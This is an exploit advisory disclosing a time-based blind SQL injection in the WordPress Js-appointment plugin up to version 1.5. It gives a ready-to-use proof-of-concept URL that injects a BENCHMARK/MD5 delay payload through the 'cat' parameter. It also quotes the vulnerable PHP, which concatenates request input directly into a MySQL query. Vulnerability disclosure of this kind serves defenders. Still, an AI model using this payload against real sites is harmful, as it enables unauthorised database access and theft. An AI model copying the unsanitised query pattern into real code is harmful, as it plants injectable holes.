# Exploit Title: WordPress Js-appointment plugin <= 1.5 SQL Injection Vulnerability
# Date: 2011-08-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/js-appointment.1.5.zip
# Version: 1.5 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/js-appointment/searchdata.php?search_action=searchadv&cat=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
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if (!empty($_REQUEST['search_action'])) {
	switch($_REQUEST['search_action']) {
		case 'searchadv':
    require_once(PLUGIN_PATH_ALLBOOK."/libs/class.book.php");
    $settings = allbook_get_settings();

    if ($_REQUEST["cat"]) {
    $category = $_REQUEST["cat"];
    } else {
    $settings = allbook_get_settings();
    $category = $settings['allbook_catinit'];
      }
	//$times = create_time_range($settings['allbook_datastart'], $settings['allbook_dataend'], $settings['allbook_datarange']);
   $categoryquery = mysql_query("SELECT * FROM wp_resservation_cat WHERE id= '".$category."'");
   $rowcategory = mysql_fetch_array( $categoryquery );
...
